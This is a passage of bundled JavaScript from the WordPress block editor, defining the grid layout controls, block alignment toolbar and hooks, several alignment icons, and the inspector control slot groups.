17252const RANGE_CONTROL_MAX_VALUES = {
17253 px: 600,
17254 "%": 100,
17255 vw: 100,
17256 vh: 100,
17257 em: 38,
17258 rem: 38,
17259 svw: 100,
17260 lvw: 100,
17261 dvw: 100,
17262 svh: 100,
17263 lvh: 100,
17264 dvh: 100,
17265 vi: 100,
17266 svi: 100,
17267 lvi: 100,
17268 dvi: 100,
17269 vb: 100,
17270 svb: 100,
17271 lvb: 100,
17272 dvb: 100,
17273 vmin: 100,
17274 svmin: 100,
17275 lvmin: 100,
17276 dvmin: 100,
17277 vmax: 100,
17278 svmax: 100,
17279 lvmax: 100,
17280 dvmax: 100
17281};
17282const units = [
17283 { value: "px", label: "px", default: 0 },
17284 { value: "rem", label: "rem", default: 0 },
17285 { value: "em", label: "em", default: 0 }
17286];
17287var grid_default = {
17288 name: "grid",
17289 label: (0,external_wp_i18n_namespaceObject.__)("Grid"),
17290 inspectorControls: function GridLayoutInspectorControls({
17291 layout = {},
17292 onChange,
17293 layoutBlockSupport = {}
17294 }) {
17295 const { allowSizingOnChildren = false } = layoutBlockSupport;
17296 const showColumnsControl = window.__experimentalEnableGridInteractivity || !!layout?.columnCount;
17297 const showMinWidthControl = window.__experimentalEnableGridInteractivity || !layout?.columnCount;
17298 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
17299 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17300 GridLayoutTypeControl,
17301 {
17302 layout,
17303 onChange
17304 }
17305 ),
17306 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
17307 showColumnsControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17308 GridLayoutColumnsAndRowsControl,
17309 {
17310 layout,
17311 onChange,
17312 allowSizingOnChildren
17313 }
17314 ),
17315 showMinWidthControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17316 GridLayoutMinimumWidthControl,
17317 {
17318 layout,
17319 onChange
17320 }
17321 )
17322 ] })
17323 ] });
17324 },
17325 toolBarControls: function GridLayoutToolbarControls() {
17326 return null;
17327 },
17328 getLayoutStyle: function getLayoutStyle({
17329 selector,
17330 layout,
17331 style,
17332 blockName,
17333 hasBlockGapSupport,
17334 layoutDefinitions = LAYOUT_DEFINITIONS
17335 }) {
17336 const {
17337 minimumColumnWidth = null,
17338 columnCount = null,
17339 rowCount = null
17340 } = layout;
17341 if (false) {}
17342 const blockGapValue = style?.spacing?.blockGap && !shouldSkipSerialization(blockName, "spacing", "blockGap") ? getGapCSSValue(style?.spacing?.blockGap, "0.5em") : void 0;
17343 let output = "";
17344 const rules = [];
17345 if (minimumColumnWidth && columnCount > 0) {
17346 const maxValue = `max(${minimumColumnWidth}, ( 100% - (${blockGapValue || "1.2rem"}*${columnCount - 1}) ) / ${columnCount})`;
17347 rules.push(
17348 `grid-template-columns: repeat(auto-fill, minmax(${maxValue}, 1fr))`,
17349 `container-type: inline-size`
17350 );
17351 if (rowCount) {
17352 rules.push(
17353 `grid-template-rows: repeat(${rowCount}, minmax(1rem, auto))`
17354 );
17355 }
17356 } else if (columnCount) {
17357 rules.push(
17358 `grid-template-columns: repeat(${columnCount}, minmax(0, 1fr))`
17359 );
17360 if (rowCount) {
17361 rules.push(
17362 `grid-template-rows: repeat(${rowCount}, minmax(1rem, auto))`
17363 );
17364 }
17365 } else {
17366 rules.push(
17367 `grid-template-columns: repeat(auto-fill, minmax(min(${minimumColumnWidth || "12rem"}, 100%), 1fr))`,
17368 "container-type: inline-size"
17369 );
17370 }
17371 if (rules.length) {
17372 output = `${appendSelectors(selector)} { ${rules.join(
17373 "; "
17374 )}; }`;
17375 }
17376 if (hasBlockGapSupport && blockGapValue) {
17377 output += getBlockGapCSS(
17378 selector,
17379 layoutDefinitions,
17380 "grid",
17381 blockGapValue
17382 );
17383 }
17384 return output;
17385 },
17386 getOrientation() {
17387 return "horizontal";
17388 },
17389 getAlignments() {
17390 return [];
17391 }
17392};
17393function GridLayoutMinimumWidthControl({ layout, onChange }) {
17394 const { minimumColumnWidth, columnCount, isManualPlacement } = layout;
17395 const defaultValue = isManualPlacement || columnCount ? null : "12rem";
17396 const value = minimumColumnWidth || defaultValue;
17397 const [quantity, unit = "rem"] = (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(value);
17398 const handleSliderChange = (next) => {
17399 onChange({
17400 ...layout,
17401 minimumColumnWidth: [next, unit].join("")
17402 });
17403 };
17404 const handleUnitChange = (newUnit) => {
17405 let newValue;
17406 if (["em", "rem"].includes(newUnit) && unit === "px") {
17407 newValue = (quantity / 16).toFixed(2) + newUnit;
17408 } else if (["em", "rem"].includes(unit) && newUnit === "px") {
17409 newValue = Math.round(quantity * 16) + newUnit;
17410 }
17411 onChange({
17412 ...layout,
17413 minimumColumnWidth: newValue
17414 });
17415 };
17416 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className: "block-editor-hooks__grid-layout-minimum-width-control", children: [
17417 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { as: "legend", children: (0,external_wp_i18n_namespaceObject.__)("Minimum column width") }),
17418 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { gap: 4, children: [
17419 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { isBlock: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17420 external_wp_components_namespaceObject.__experimentalUnitControl,
17421 {
17422 size: "__unstable-large",
17423 onChange: (newValue) => {
17424 onChange({
17425 ...layout,
17426 minimumColumnWidth: newValue === "" ? void 0 : newValue
17427 });
17428 },
17429 onUnitChange: handleUnitChange,
17430 value,
17431 units,
17432 min: 0,
17433 label: (0,external_wp_i18n_namespaceObject.__)("Minimum column width"),
17434 hideLabelFromVision: true
17435 }
17436 ) }),
17437 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { isBlock: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17438 external_wp_components_namespaceObject.RangeControl,
17439 {
17440 __next40pxDefaultSize: true,
17441 __nextHasNoMarginBottom: true,
17442 onChange: handleSliderChange,
17443 value: quantity || 0,
17444 min: 0,
17445 max: RANGE_CONTROL_MAX_VALUES[unit] || 600,
17446 withInputField: false,
17447 label: (0,external_wp_i18n_namespaceObject.__)("Minimum column width"),
17448 hideLabelFromVision: true
17449 }
17450 ) })
17451 ] })
17452 ] });
17453}
17454function GridLayoutColumnsAndRowsControl({
17455 layout,
17456 onChange,
17457 allowSizingOnChildren
17458}) {
17459 const defaultColumnCount = window.__experimentalEnableGridInteractivity ? void 0 : 3;
17460 const {
17461 columnCount = defaultColumnCount,
17462 rowCount,
17463 isManualPlacement
17464 } = layout;
17465 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className: "block-editor-hooks__grid-layout-columns-and-rows-controls", children: [
17466 (!window.__experimentalEnableGridInteractivity || !isManualPlacement) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { as: "legend", children: (0,external_wp_i18n_namespaceObject.__)("Columns") }),
17467 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { gap: 4, children: [
17468 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { isBlock: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17469 external_wp_components_namespaceObject.__experimentalNumberControl,
17470 {
17471 size: "__unstable-large",
17472 onChange: (value) => {
17473 if (window.__experimentalEnableGridInteractivity) {
17474 const defaultNewColumnCount = isManualPlacement ? 1 : void 0;
17475 const newColumnCount = value === "" || value === "0" ? defaultNewColumnCount : parseInt(value, 10);
17476 onChange({
17477 ...layout,
17478 columnCount: newColumnCount
17479 });
17480 } else {
17481 const newColumnCount = value === "" || value === "0" ? 1 : parseInt(value, 10);
17482 onChange({
17483 ...layout,
17484 columnCount: newColumnCount
17485 });
17486 }
17487 },
17488 value: columnCount,
17489 min: 1,
17490 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
17491 hideLabelFromVision: !window.__experimentalEnableGridInteractivity || !isManualPlacement
17492 }
17493 ) }),
17494 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { isBlock: true, children: window.__experimentalEnableGridInteractivity && allowSizingOnChildren && isManualPlacement ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17495 external_wp_components_namespaceObject.__experimentalNumberControl,
17496 {
17497 size: "__unstable-large",
17498 onChange: (value) => {
17499 const newRowCount = value === "" || value === "0" ? 1 : parseInt(value, 10);
17500 onChange({
17501 ...layout,
17502 rowCount: newRowCount
17503 });
17504 },
17505 value: rowCount,
17506 min: 1,
17507 label: (0,external_wp_i18n_namespaceObject.__)("Rows")
17508 }
17509 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17510 external_wp_components_namespaceObject.RangeControl,
17511 {
17512 __next40pxDefaultSize: true,
17513 __nextHasNoMarginBottom: true,
17514 value: columnCount ?? 1,
17515 onChange: (value) => onChange({
17516 ...layout,
17517 columnCount: value === "" || value === "0" ? 1 : value
17518 }),
17519 min: 1,
17520 max: 16,
17521 withInputField: false,
17522 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
17523 hideLabelFromVision: true
17524 }
17525 ) })
17526 ] })
17527 ] }) });
17528}
17529function GridLayoutTypeControl({ layout, onChange }) {
17530 const { columnCount, rowCount, minimumColumnWidth, isManualPlacement } = layout;
17531 const [tempColumnCount, setTempColumnCount] = (0,external_wp_element_namespaceObject.useState)(
17532 columnCount || 3
17533 );
17534 const [tempRowCount, setTempRowCount] = (0,external_wp_element_namespaceObject.useState)(rowCount);
17535 const [tempMinimumColumnWidth, setTempMinimumColumnWidth] = (0,external_wp_element_namespaceObject.useState)(
17536 minimumColumnWidth || "12rem"
17537 );
17538 const gridPlacement = isManualPlacement || !!columnCount && !window.__experimentalEnableGridInteractivity ? "manual" : "auto";
17539 const onChangeType = (value) => {
17540 if (value === "manual") {
17541 setTempMinimumColumnWidth(minimumColumnWidth || "12rem");
17542 } else {
17543 setTempColumnCount(columnCount || 3);
17544 setTempRowCount(rowCount);
17545 }
17546 onChange({
17547 ...layout,
17548 columnCount: value === "manual" ? tempColumnCount : null,
17549 rowCount: value === "manual" && window.__experimentalEnableGridInteractivity ? tempRowCount : void 0,
17550 isManualPlacement: value === "manual" && window.__experimentalEnableGridInteractivity ? true : void 0,
17551 minimumColumnWidth: value === "auto" ? tempMinimumColumnWidth : null
17552 });
17553 };
17554 const helpText = gridPlacement === "manual" ? (0,external_wp_i18n_namespaceObject.__)(
17555 "Grid items can be manually placed in any position on the grid."
17556 ) : (0,external_wp_i18n_namespaceObject.__)(
17557 "Grid items are placed automatically depending on their order."
17558 );
17559 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
17560 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
17561 {
17562 __next40pxDefaultSize: true,
17563 __nextHasNoMarginBottom: true,
17564 label: (0,external_wp_i18n_namespaceObject.__)("Grid item position"),
17565 value: gridPlacement,
17566 onChange: onChangeType,
17567 isBlock: true,
17568 help: window.__experimentalEnableGridInteractivity ? helpText : void 0,
17569 children: [
17570 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17571 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
17572 {
17573 value: "auto",
17574 label: (0,external_wp_i18n_namespaceObject.__)("Auto")
17575 },
17576 "auto"
17577 ),
17578 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17579 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
17580 {
17581 value: "manual",
17582 label: (0,external_wp_i18n_namespaceObject.__)("Manual")
17583 },
17584 "manual"
17585 )
17586 ]
17587 }
17588 );
17589}
17590
17591
17592;// ./node_modules/@wordpress/block-editor/build-module/layouts/index.js
17593
17594
17595
17596
17597const layoutTypes = [flow_default, flex_default, constrained_default, grid_default];
17598function getLayoutType(name = "default") {
17599 return layoutTypes.find((layoutType) => layoutType.name === name);
17600}
17601function getLayoutTypes() {
17602 return layoutTypes;
17603}
17604
17605
17606;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/layout.js
17607
17608
17609
17610
17611const defaultLayout = { type: "default" };
17612const Layout = (0,external_wp_element_namespaceObject.createContext)(defaultLayout);
17613Layout.displayName = "BlockLayoutContext";
17614const LayoutProvider = Layout.Provider;
17615function useLayout() {
17616 return (0,external_wp_element_namespaceObject.useContext)(Layout);
17617}
17618function LayoutStyle({ layout = {}, css, ...props }) {
17619 const layoutType = getLayoutType(layout.type);
17620 const [blockGapSupport] = use_settings_useSettings("spacing.blockGap");
17621 const hasBlockGapSupport = blockGapSupport !== null;
17622 if (layoutType) {
17623 if (css) {
17624 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("style", { children: css });
17625 }
17626 const layoutStyle = layoutType.getLayoutStyle?.({
17627 hasBlockGapSupport,
17628 layout,
17629 ...props
17630 });
17631 if (layoutStyle) {
17632 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("style", { children: layoutStyle });
17633 }
17634 }
17635 return null;
17636}
17637
17638
17639;// ./node_modules/@wordpress/block-editor/build-module/components/block-alignment-control/use-available-alignments.js
17640
17641
17642
17643
17644const use_available_alignments_EMPTY_ARRAY = [];
17645const use_available_alignments_DEFAULT_CONTROLS = ["none", "left", "center", "right", "wide", "full"];
17646const WIDE_CONTROLS = ["wide", "full"];
17647function useAvailableAlignments(controls = use_available_alignments_DEFAULT_CONTROLS) {
17648 if (!controls.includes("none")) {
17649 controls = ["none", ...controls];
17650 }
17651 const isNoneOnly = controls.length === 1 && controls[0] === "none";
17652 const [wideControlsEnabled, themeSupportsLayout, isBlockBasedTheme] = (0,external_wp_data_namespaceObject.useSelect)(
17653 (select) => {
17654 if (isNoneOnly) {
17655 return [false, false, false];
17656 }
17657 const settings = select(store).getSettings();
17658 return [
17659 settings.alignWide ?? false,
17660 settings.supportsLayout,
17661 settings.__unstableIsBlockBasedTheme
17662 ];
17663 },
17664 [isNoneOnly]
17665 );
17666 const layout = useLayout();
17667 if (isNoneOnly) {
17668 return use_available_alignments_EMPTY_ARRAY;
17669 }
17670 const layoutType = getLayoutType(layout?.type);
17671 if (themeSupportsLayout) {
17672 const layoutAlignments = layoutType.getAlignments(
17673 layout,
17674 isBlockBasedTheme
17675 );
17676 const alignments2 = layoutAlignments.filter(
17677 (alignment) => controls.includes(alignment.name)
17678 );
17679 if (alignments2.length === 1 && alignments2[0].name === "none") {
17680 return use_available_alignments_EMPTY_ARRAY;
17681 }
17682 return alignments2;
17683 }
17684 if (layoutType.name !== "default" && layoutType.name !== "constrained") {
17685 return use_available_alignments_EMPTY_ARRAY;
17686 }
17687 const alignments = controls.filter((control) => {
17688 if (layout.alignments) {
17689 return layout.alignments.includes(control);
17690 }
17691 if (!wideControlsEnabled && WIDE_CONTROLS.includes(control)) {
17692 return false;
17693 }
17694 return use_available_alignments_DEFAULT_CONTROLS.includes(control);
17695 }).map((name) => ({ name }));
17696 if (alignments.length === 1 && alignments[0].name === "none") {
17697 return use_available_alignments_EMPTY_ARRAY;
17698 }
17699 return alignments;
17700}
17701
17702
17703;// ./node_modules/@wordpress/icons/build-module/library/position-left.js
17704
17705
17706var position_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5 5.5h8V4H5v1.5ZM5 20h8v-1.5H5V20ZM19 9H5v6h14V9Z" }) });
17707
17708
17709;// ./node_modules/@wordpress/icons/build-module/library/position-center.js
17710
17711
17712var position_center_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM7 9h10v6H7V9Z" }) });
17713
17714
17715;// ./node_modules/@wordpress/icons/build-module/library/position-right.js
17716
17717
17718var position_right_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 5.5h-8V4h8v1.5ZM19 20h-8v-1.5h8V20ZM5 9h14v6H5V9Z" }) });
17719
17720
17721;// ./node_modules/@wordpress/icons/build-module/library/stretch-full-width.js
17722
17723
17724var stretch_full_width_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5 4h14v11H5V4Zm11 16H8v-1.5h8V20Z" }) });
17725
17726
17727;// ./node_modules/@wordpress/block-editor/build-module/components/block-alignment-control/constants.js
17728
17729
17730const constants_BLOCK_ALIGNMENTS_CONTROLS = {
17731 none: {
17732 icon: align_none_default,
17733 title: (0,external_wp_i18n_namespaceObject._x)("None", "Alignment option")
17734 },
17735 left: {
17736 icon: position_left_default,
17737 title: (0,external_wp_i18n_namespaceObject.__)("Align left")
17738 },
17739 center: {
17740 icon: position_center_default,
17741 title: (0,external_wp_i18n_namespaceObject.__)("Align center")
17742 },
17743 right: {
17744 icon: position_right_default,
17745 title: (0,external_wp_i18n_namespaceObject.__)("Align right")
17746 },
17747 wide: {
17748 icon: stretch_wide_default,
17749 title: (0,external_wp_i18n_namespaceObject.__)("Wide width")
17750 },
17751 full: {
17752 icon: stretch_full_width_default,
17753 title: (0,external_wp_i18n_namespaceObject.__)("Full width")
17754 }
17755};
17756const constants_DEFAULT_CONTROL = "none";
17757
17758
17759;// ./node_modules/@wordpress/block-editor/build-module/components/block-alignment-control/ui.js
17760
17761
17762
17763
17764
17765
17766function BlockAlignmentUI({
17767 value,
17768 onChange,
17769 controls,
17770 isToolbar,
17771 isCollapsed = true
17772}) {
17773 const enabledControls = useAvailableAlignments(controls);
17774 const hasEnabledControls = !!enabledControls.length;
17775 if (!hasEnabledControls) {
17776 return null;
17777 }
17778 function onChangeAlignment(align) {
17779 onChange([value, "none"].includes(align) ? void 0 : align);
17780 }
17781 const activeAlignmentControl = constants_BLOCK_ALIGNMENTS_CONTROLS[value];
17782 const defaultAlignmentControl = constants_BLOCK_ALIGNMENTS_CONTROLS[constants_DEFAULT_CONTROL];
17783 const UIComponent = isToolbar ? external_wp_components_namespaceObject.ToolbarGroup : external_wp_components_namespaceObject.ToolbarDropdownMenu;
17784 const commonProps = {
17785 icon: activeAlignmentControl ? activeAlignmentControl.icon : defaultAlignmentControl.icon,
17786 label: (0,external_wp_i18n_namespaceObject.__)("Align")
17787 };
17788 const extraProps = isToolbar ? {
17789 isCollapsed,
17790 controls: enabledControls.map(({ name: controlName }) => {
17791 return {
17792 ...constants_BLOCK_ALIGNMENTS_CONTROLS[controlName],
17793 isActive: value === controlName || !value && controlName === "none",
17794 role: isCollapsed ? "menuitemradio" : void 0,
17795 onClick: () => onChangeAlignment(controlName)
17796 };
17797 })
17798 } : {
17799 toggleProps: { description: (0,external_wp_i18n_namespaceObject.__)("Change alignment") },
17800 children: ({ onClose }) => {
17801 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { className: "block-editor-block-alignment-control__menu-group", children: enabledControls.map(
17802 ({ name: controlName, info }) => {
17803 const { icon, title } = constants_BLOCK_ALIGNMENTS_CONTROLS[controlName];
17804 const isSelected = controlName === value || !value && controlName === "none";
17805 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17806 external_wp_components_namespaceObject.MenuItem,
17807 {
17808 icon,
17809 iconPosition: "left",
17810 className: dist_clsx(
17811 "components-dropdown-menu__menu-item",
17812 {
17813 "is-active": isSelected
17814 }
17815 ),
17816 isSelected,
17817 onClick: () => {
17818 onChangeAlignment(
17819 controlName
17820 );
17821 onClose();
17822 },
17823 role: "menuitemradio",
17824 info,
17825 children: title
17826 },
17827 controlName
17828 );
17829 }
17830 ) }) });
17831 }
17832 };
17833 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(UIComponent, { ...commonProps, ...extraProps });
17834}
17835var block_alignment_control_ui_ui_default = BlockAlignmentUI;
17836
17837
17838;// ./node_modules/@wordpress/block-editor/build-module/components/block-alignment-control/index.js
17839
17840
17841const BlockAlignmentControl = (props) => {
17842 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_alignment_control_ui_ui_default, { ...props, isToolbar: false });
17843};
17844const BlockAlignmentToolbar = (props) => {
17845 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_alignment_control_ui_ui_default, { ...props, isToolbar: true });
17846};
17847
17848
17849;// ./node_modules/@wordpress/block-editor/build-module/components/block-editing-mode/index.js
17850
17851
17852
17853
17854function useBlockEditingMode(mode) {
17855 const context = useBlockEditContext();
17856 const { clientId = "" } = context;
17857 const { setBlockEditingMode, unsetBlockEditingMode } = (0,external_wp_data_namespaceObject.useDispatch)(store);
17858 const globalBlockEditingMode = (0,external_wp_data_namespaceObject.useSelect)(
17859 (select) => (
17860 // Avoid adding the subscription if not needed!
17861 clientId ? null : select(store).getBlockEditingMode()
17862 ),
17863 [clientId]
17864 );
17865 (0,external_wp_element_namespaceObject.useEffect)(() => {
17866 if (mode) {
17867 setBlockEditingMode(clientId, mode);
17868 }
17869 return () => {
17870 if (mode) {
17871 unsetBlockEditingMode(clientId);
17872 }
17873 };
17874 }, [clientId, mode, setBlockEditingMode, unsetBlockEditingMode]);
17875 return clientId ? context[blockEditingModeKey] : globalBlockEditingMode;
17876}
17877
17878
17879;// ./node_modules/@wordpress/block-editor/build-module/hooks/align.js
17880
17881
17882
17883
17884
17885
17886
17887const ALL_ALIGNMENTS = ["left", "center", "right", "wide", "full"];
17888const WIDE_ALIGNMENTS = ["wide", "full"];
17889function getValidAlignments(blockAlign, hasWideBlockSupport = true, hasWideEnabled = true) {
17890 let validAlignments;
17891 if (Array.isArray(blockAlign)) {
17892 validAlignments = ALL_ALIGNMENTS.filter(
17893 (value) => blockAlign.includes(value)
17894 );
17895 } else if (blockAlign === true) {
17896 validAlignments = [...ALL_ALIGNMENTS];
17897 } else {
17898 validAlignments = [];
17899 }
17900 if (!hasWideEnabled || blockAlign === true && !hasWideBlockSupport) {
17901 return validAlignments.filter(
17902 (alignment) => !WIDE_ALIGNMENTS.includes(alignment)
17903 );
17904 }
17905 return validAlignments;
17906}
17907function addAttribute(settings) {
17908 if ("type" in (settings.attributes?.align ?? {})) {
17909 return settings;
17910 }
17911 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(settings, "align")) {
17912 settings.attributes = {
17913 ...settings.attributes,
17914 align: {
17915 type: "string",
17916 // Allow for '' since it is used by the `updateAlignment` function
17917 // in toolbar controls for special cases with defined default values.
17918 enum: [...ALL_ALIGNMENTS, ""]
17919 }
17920 };
17921 }
17922 return settings;
17923}
17924function BlockEditAlignmentToolbarControlsPure({
17925 name: blockName,
17926 align,
17927 setAttributes
17928}) {
17929 const blockAllowedAlignments = getValidAlignments(
17930 (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockName, "align"),
17931 (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockName, "alignWide", true)
17932 );
17933 const validAlignments = useAvailableAlignments(
17934 blockAllowedAlignments
17935 ).map(({ name }) => name);
17936 const blockEditingMode = useBlockEditingMode();
17937 if (!validAlignments.length || blockEditingMode !== "default") {
17938 return null;
17939 }
17940 const updateAlignment = (nextAlign) => {
17941 if (!nextAlign) {
17942 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockName);
17943 const blockDefaultAlign = blockType?.attributes?.align?.default;
17944 if (blockDefaultAlign) {
17945 nextAlign = "";
17946 }
17947 }
17948 setAttributes({ align: nextAlign });
17949 };
17950 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_controls_default, { group: "block", __experimentalShareWithChildBlocks: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17951 BlockAlignmentControl,
17952 {
17953 value: align,
17954 onChange: updateAlignment,
17955 controls: validAlignments
17956 }
17957 ) });
17958}
17959var align_default = {
17960 shareWithChildBlocks: true,
17961 edit: BlockEditAlignmentToolbarControlsPure,
17962 useBlockProps,
17963 addSaveProps: addAssignedAlign,
17964 attributeKeys: ["align"],
17965 hasSupport(name) {
17966 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, "align", false);
17967 }
17968};
17969function useBlockProps({ name, align }) {
17970 const blockAllowedAlignments = getValidAlignments(
17971 (0,external_wp_blocks_namespaceObject.getBlockSupport)(name, "align"),
17972 (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, "alignWide", true)
17973 );
17974 const validAlignments = useAvailableAlignments(blockAllowedAlignments);
17975 if (validAlignments.some((alignment) => alignment.name === align)) {
17976 return { "data-align": align };
17977 }
17978 return {};
17979}
17980function addAssignedAlign(props, blockType, attributes) {
17981 const { align } = attributes;
17982 const blockAlign = (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockType, "align");
17983 const hasWideBlockSupport = (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "alignWide", true);
17984 const isAlignValid = getValidAlignments(
17985 blockAlign,
17986 hasWideBlockSupport
17987 ).includes(align);
17988 if (isAlignValid) {
17989 props.className = dist_clsx(`align${align}`, props.className);
17990 }
17991 return props;
17992}
17993(0,external_wp_hooks_namespaceObject.addFilter)(
17994 "blocks.registerBlockType",
17995 "core/editor/align/addAttribute",
17996 addAttribute
17997);
17998
17999
18000;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls/groups.js
18001
18002const InspectorControlsDefault = (0,external_wp_components_namespaceObject.createSlotFill)("InspectorControls");
18003const InspectorControlsAdvanced = (0,external_wp_components_namespaceObject.createSlotFill)("InspectorAdvancedControls");
18004const InspectorControlsBindings = (0,external_wp_components_namespaceObject.createSlotFill)("InspectorControlsBindings");
18005const InspectorControlsBackground = (0,external_wp_components_namespaceObject.createSlotFill)(
18006 "InspectorControlsBackground"
18007);
18008const InspectorControlsBorder = (0,external_wp_components_namespaceObject.createSlotFill)("InspectorControlsBorder");
18009const InspectorControlsColor = (0,external_wp_components_namespaceObject.createSlotFill)("InspectorControlsColor");
18010const InspectorControlsFilter = (0,external_wp_components_namespaceObject.createSlotFill)("InspectorControlsFilter");
18011const InspectorControlsDimensions = (0,external_wp_components_namespaceObject.createSlotFill)(
18012 "InspectorControlsDimensions"
18013);
18014const InspectorControlsPosition = (0,external_wp_components_namespaceObject.createSlotFill)("InspectorControlsPosition");
18015const InspectorControlsTypography = (0,external_wp_components_namespaceObject.createSlotFill)(
18016 "InspectorControlsTypography"
18017);
18018const InspectorControlsListView = (0,external_wp_components_namespaceObject.createSlotFill)("InspectorControlsListView");
18019const InspectorControlsStyles = (0,external_wp_components_namespaceObject.createSlotFill)("InspectorControlsStyles");
18020const InspectorControlsEffects = (0,external_wp_components_namespaceObject.createSlotFill)("InspectorControlsEffects");
18021const groups_groups = {
18022 default: InspectorControlsDefault,
18023 advanced: InspectorControlsAdvanced,
18024 background: InspectorControlsBackground,
18025 bindings: InspectorControlsBindings,
18026 border: InspectorControlsBorder,
18027 color: InspectorControlsColor,
18028 dimensions: InspectorControlsDimensions,
18029 effects: InspectorControlsEffects,
18030 filter: InspectorControlsFilter,
18031 list: InspectorControlsListView,
18032 position: InspectorControlsPosition,
18033 settings: InspectorControlsDefault,
18034 // Alias for default.
18035 styles: InspectorControlsStyles,
18036 typography: InspectorControlsTypography
18037};
18038var groups_groups_default = groups_groups;
18039const PrivateInspectorControlsAllowedBlocks = (0,external_wp_components_namespaceObject.createSlotFill)(
18040 Symbol("PrivateInspectorControlsAllowedBlocks")
18041);
18042
18043
18044;// ./node_modules/@wordpress/block-editor/build-module/components/inspector-controls/fill.js
18045
18046
18047
18048
18049
18050
18051
18052function InspectorControlsFill({
18053 children,
18054 group = "default",
